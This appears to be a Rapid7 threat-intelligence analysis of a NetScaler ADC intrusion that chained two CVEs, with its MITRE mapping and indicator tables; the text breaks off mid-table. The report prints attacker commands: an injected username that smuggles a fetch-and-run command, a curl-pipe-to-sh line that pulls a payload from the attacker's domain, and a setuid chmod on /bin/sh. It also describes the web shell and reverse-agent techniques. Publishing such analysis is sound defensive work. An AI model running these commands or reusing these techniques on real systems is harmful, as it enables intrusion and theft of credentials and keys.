      <title><![CDATA[Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In early October 2026, Rapid7 analysts investigated a compromise of a Citrix NetScaler ADC appliance. The appliance was running an affected 14.1 build and was exposed to active exploitation targeting NetScaler authentication and SAML deployments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The intrusion achieved root code execution, deployed multiple persistence mechanisms, installed PHP web shells, created outbound command-and-control and internal tunnelling capabilities, performed targeted reconnaissance of DNS, LDAP/Active Directory, management services and VMware vCenter infrastructure, and exfiltrated NetScaler configuration and key material.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The activity overlaps with public reporting on the WHIPSHOT/SLAPSHOT NetScaler campaign. However, this case provides additional detail on the operational lifecycle, including repeated post-reboot execution through the crash-handling workflow, HA-aware persistence, a dedicated Go reconnaissance tool, a separate FreeBSD proxy agent, and a staged collection pipeline.</span></p><h2 style="direction: ltr;">Key findings</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The first confirmed root execution occurred shortly after attacker-controlled text was inserted into a NetScaler authentication username.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The injected text caused or immediately preceded repeated nsaaad crashes and a Pitboss reboot.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>After reboot, the NetScaler call-home crash handler processed the retained attacker-controlled text and executed a payload as root.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker installed cookie-authenticated PHP web shells behind CSS-looking Apache aliases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker set /bin/sh to mode 6555, allowing an unprivileged web process to obtain effective root privileges.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The implant framework maintained access through cron, rc.netscaler, watchdog loops, an outbound reverse agent, and an HTTP-fronted TCP proxy.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>HA synchronization and forced failover logic attempted to preserve access across the appliance pair.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A Go tool mapped internal routes, DNS, LDAP/AD, management services and VMware vCenter systems. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>NetScaler configuration, historical configurations, HTTP configuration, diagnostics and system backup material were staged for exfiltration.</span></p></li></ul><h2 style="direction: ltr;">Technical Analysis</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Initial access</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The first event was an authentication request containing attacker-controlled text similar to:</span></p><pre language="html">pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The observed chain was:</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd85081e76afce498/6ad637369d9962be0f330378/ns_int_1.png" height="369" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ns_int_1.png" asset-alt="ns_int_1.png" width="660" max-width="660" max-height="369" style="max-width: 660px; width: 660px; max-height: 369px; height: 369px; text-align: center" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd85081e76afce498/6ad637369d9962be0f330378/ns_int_1.png" data-sys-asset-uid="bltd85081e76afce498" data-sys-asset-filename="ns_int_1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ns_int_1.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Figure 1: Sequence diagram showing the attack chain</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Logs collected show attackers chaining </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-88771"><span style='font-size: undefined;'>CVE-2026-88771</span></a><span style='font-size: undefined;'>, the pre-authentication log-poisoning/RCE issue, with </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-88779"><span style='font-size: undefined;'>CVE-2026-88779</span></a><span style='font-size: undefined;'>, the separate SAML-parsing crash. A two-vulnerability sequence in which the SAML parsing flaw supplies a crash/reboot condition while the log-poisoning flaw supplies attacker-controlled command text.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The evidence demonstrates more than an attempted chain: the injected command, nsaaad crash loop, Pitboss reboot, post-reboot handler activity, and root payload execution are all directly correlated across independent logs and filesystem timestamps. The first implant files were created at the same second as the first logged post-reboot execution, and later stages, web shells, tunnels, reconnaissance tooling and exfiltration were confirmed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also published an</span><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'> ETR </span></a><span style='font-size: undefined;'>on the Netscaler zero days currently exploited in the wild.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Repeated post-reboot execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The initial execution was not a one-time event. The appliance recorded repeated Pitboss-initiated reboots and repeated call-home handler executions over several days.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The handler re-executed stages from multiple infrastructure addresses and the repeated execution model allowed the operator to refresh persistence, deploy new components and continue collection after appliance restarts.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The crash-handling path functioned as a delayed and repeatable execution trampoline, the chaining happened to avoid waiting 24h for the injected payload to run.</span></p><h2 style="direction: ltr;">Payload evolution</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Two .slap dropper versions were recovered:</span></p><pre language="html">17447d.sh (earlier version)
SHA-256: a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556</pre><p></p><p><span style='font-size: undefined;'>and:</span></p><pre language="html">1.sh 
SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The later version added reverse-agent functionality, relay installation, HA recovery, stage tracking, and structured upload logging, indicating operational maturation during the campaign.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The nsvmd installer branch was separately identified as:</span></p><pre language="html">2.sh / r.sh
SHA-256: 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186</pre><h2 style="direction: ltr;">Persistence and web shells</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The main framework used a directory under /nsconfig/.slap.</span></p><pre language="html">/nsconfig/.slap/vc
/nsconfig/.slap/vcscan-agent.sh
/nsconfig/.slap/agent.pl
/nsconfig/.slap/bridge.pl
/nsconfig/.slap/boot.sh
/nsconfig/.slap/reverse-agent.sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'> </span></p><p><span style='font-size: undefined;'>It deployed three web shell copies into the LogonPoint custom web directory:</span></p><pre language="html">.slap.receiver
.ctxs.receiver
receiver.deb</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The shells used a cookie-based command channel. Commands were supplied through a second cookie and returned through an HTTP 404 response body. The 404 response helped the shell blend into normal web traffic and made successful command requests resemble missing resources.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker modified Apache configuration to:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>execute .deb files as PHP;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>enable PHP execution;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>map CSS-looking URLs to .slap.receiver;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>accept randomized hexadecimal CSS suffixes;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>preserve an attacker backup of the HTTP configuration.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The alias created were the following:</span></p><pre language="html">/logon/LogonPoint/custom/receiver.v2.min.css
/logon/LogonPoint/custom/receiver.v2.min.&lt;hex&gt;.css
        ↓
/var/netscaler/logon/LogonPoint/custom/.slap.receiver</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>TA repeatedly set:</span></p><pre language="shell-session">chmod 6555 /bin/sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'>This made the shell setuid and setgid. Because Apache normally runs with reduced privileges, this provided a path for the PHP web shell to obtain effective root privileges.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The framework also reseeded cron entries and boot hooks whenever it ran. This made the compromise resilient to reboots, image regeneration and loss of individual cron entries.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Tunnelling and command channels</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The intrusion deployed multiple redundant access paths.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Perl TCP session manager</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It used /tmp/.uxdlock for process coordination and supported operations including:</span></p><pre language="html">ping
open
push
pull
exch
close</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The open operation accepted arbitrary destination hosts and ports, turning the NetScaler into an internal TCP pivot.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Python HTTP tunnel</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Python components provided a local session manager and HTTP front end:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>it accepted base64 commands in an HTTP header and returned tunnel responses in HTTP 404 bodies. This behavior overlaps with publicly reported WHIPSHOT/SLAPSHOT tooling.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Outbound reverse agent</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The reverse agent polled an external command endpoint every 15 seconds, executed the received command with /bin/sh -c, and returned output using HTTP PUT. This gave the operator command execution without requiring an inbound connection to the appliance.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>HA-aware persistence</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The framework included explicit HA recovery logic:</span></p><pre language="html">sync HA files all
force HA failover</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The code attempted to synchronize implant files to the HA peer and, when appropriate, force failover so the node containing the implant became active.</span></p><h2 style="direction: ltr;">Internal reconnaissance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A stripped, statically linked FreeBSD Go binary was recovered from the .slap directory. The tool was designed to map infrastructure reachable from the compromised appliance.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It contains functionality associated with:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>local interface and route parsing;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>gateway-prefix discovery;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>subnet expansion;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>DNS server and domain discovery;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>DNS zone-transfer hunting;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>LDAP anonymous bind and RootDSE queries;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>LDAP searches;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>management-service checks;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>TLS certificate inspection;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>VMware vCenter classification.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A launcher named vcscan-agent.sh downloaded and validated the scanner as scanner-freebsd-amd64, installed it as /nsconfig/.slap/vc, and ran two stages: broad scanning of RFC1918 space and management-focused scanning of ranges derived from DNS and LDAP results. The launcher collected route, DNS, LDAP, management and vCenter results into files such as:</span></p><pre language="html">vcpersist-&lt;token&gt;_dns_candidates.tsv
vcpersist-&lt;token&gt;_dns_ldap_verified.tsv
vcpersist-&lt;token&gt;_vcenter_verified_all.txt</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>It then compressed and uploaded the results to the operator infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This reconnaissance component addition confirms the campaign is active and developing, mapping the identity, management and virtualization infrastructure from a compromised ADC vantage point.</span></p><h2 style="direction: ltr;">nsvmd proxy</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The second payload branch deployed a FreeBSD Go agent named nsvmd through injection of </span><a href="http://2.sh/r.sh"><span style='font-size: undefined;'>2.sh/r.sh</span></a><span style='font-size: undefined;'> under /flash/.nsvm/nsvmd:</span></p><pre language="shell-session">curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=&lt;token&gt;|sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The agent was started with:</span></p><pre language="shell-session">nsvmd -server v5v.in:443 -sni c.v5v.in</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The installer created a 45s watchdog (/flash/.nsvm/watchdog.sh), boot persistence through /nsconfig/rc.netscaler, 5 minute and daily cron persistence (/flash/.nsvm/</span><a href="http://guard.sh"><span style='font-size: undefined;'>guard.sh</span></a><span style='font-size: undefined;'>,/flash/.nsvm/restart.sh) marking nsvmd immutable using chflags uchg. Agent logs were collected under /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Configuration and key-material collection</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker staged and uploaded:</span></p><pre language="html">/nsconfig/
ns.conf.0 through ns.conf.4
ns.conf.bak
/etc/httpd.conf
system backup archives
implant diagnostics</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The configuration archive could contain encrypted credentials, LDAP/RADIUS bind information, administrative configuration, SSL private keys and key-encryption material. The collection logic also uploaded manifests and stage logs and retried failed uploads.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A separate archive was staged in the web root and successfully downloaded through an HTTP 200 request. The response size matched the staged archive size, providing direct evidence of configuration exfiltration through the web interface.</span></p><h2 style="direction: ltr;">MITRE ATT&CK techniques</h2><table><colgroup data-width='750'><col style="width:26.666666666666668%"/><col style="width:46.666666666666664%"/><col style="width:26.666666666666668%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Technique ID</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Technique Name</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Tactic</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1190</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exploit Public-Facing Application</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Initial Access</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unix Shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.006</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.007</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>JavaScript/PHP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1105</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Ingress Tool Transfer</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1053.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cron</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1037.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RC Scripts</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1505.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Web Shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1548.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Setuid and Setgid</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Privilege Escalation</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1027</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obfuscated Files or Information</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defense Evasion</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1070.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>File and Directory Removal</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defense Evasion</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1016</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>System Network Configuration Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1018</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote System Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1046</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Network Service Scanning</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1090.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Internal Proxy</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1552.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credentials In Files</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credential Access</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1005</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Data from Local System</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1074.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local Data Staging</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1560.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Archive Collected Data</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1071.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Web Protocols</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1573</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Encrypted Channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1132.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Standard Encoding</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1572</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Protocol Tunneling</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1041</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration Over C2 Channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1020</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Automated Exfiltration</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td></tr></tbody></table><p style="text-align: center;"><span style='color:rgb(102, 102, 102);'><em>Table 1: MITRE ATT&CK Tactics and Techniques</em></span></p><h2 style="direction: ltr;">Indicators of compromise</h2><p></p><table><colgroup data-width='500'><col style="width:67.70491803278689%"/><col style="width:32.29508196721312%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Path</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Main framework directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/</span>	</p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Relay implant directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/vc</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reconnaissance scanner binary</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/vcscan-agent.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reconnaissance scanner launcher script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/agent.pl</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Perl TCP session manager and pivot agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/bridge.pl</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Perl bridge script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/boot.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Boot persistence script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/reverse-agent.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Outbound reverse command execution agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/run.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Relay runner script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/target_agent.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python relay agent script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/nsvmd</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>FreeBSD Go proxy agent binary</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/watchdog.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>45-second watchdog script for nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/guard.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cron persistence guard script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/restart.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Daily restart script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/nsvmd.tmp</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Temporary nsvmd binary path</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.stop</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Uninstall/upgrade control marker</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.agent.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Agent log file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.wd.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Watchdog log file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.s2loot/</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Loot staging directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.ux/slapshot.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python HTTP tunnel/session manager component</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.ux/whipd.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python HTTP tunnel front-end component</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/tmp/.uxdlock</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Process coordination lock file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/tmp/.uxdport</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Ephemeral loopback port recording file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/.slap.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/receiver.deb</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/.slap.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell copy</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/.ctxs.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell copy</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/receiver.deb</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell copy</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 2: Malicious files and filesystem paths</em></span></p><p></p><p></p><table><colgroup data-width='500'><col style="width:66.66666666666666%"/><col style="width:33.33333333333333%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SHA-256</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Filename</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>17447d.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2.sh / r.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>scanner-freebsd-amd64</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vc</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>nsvmd</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 3: SHA-256 file hashes </em></span></p><p></p><table><colgroup data-width='500'><col style="width:44.5%"/><col 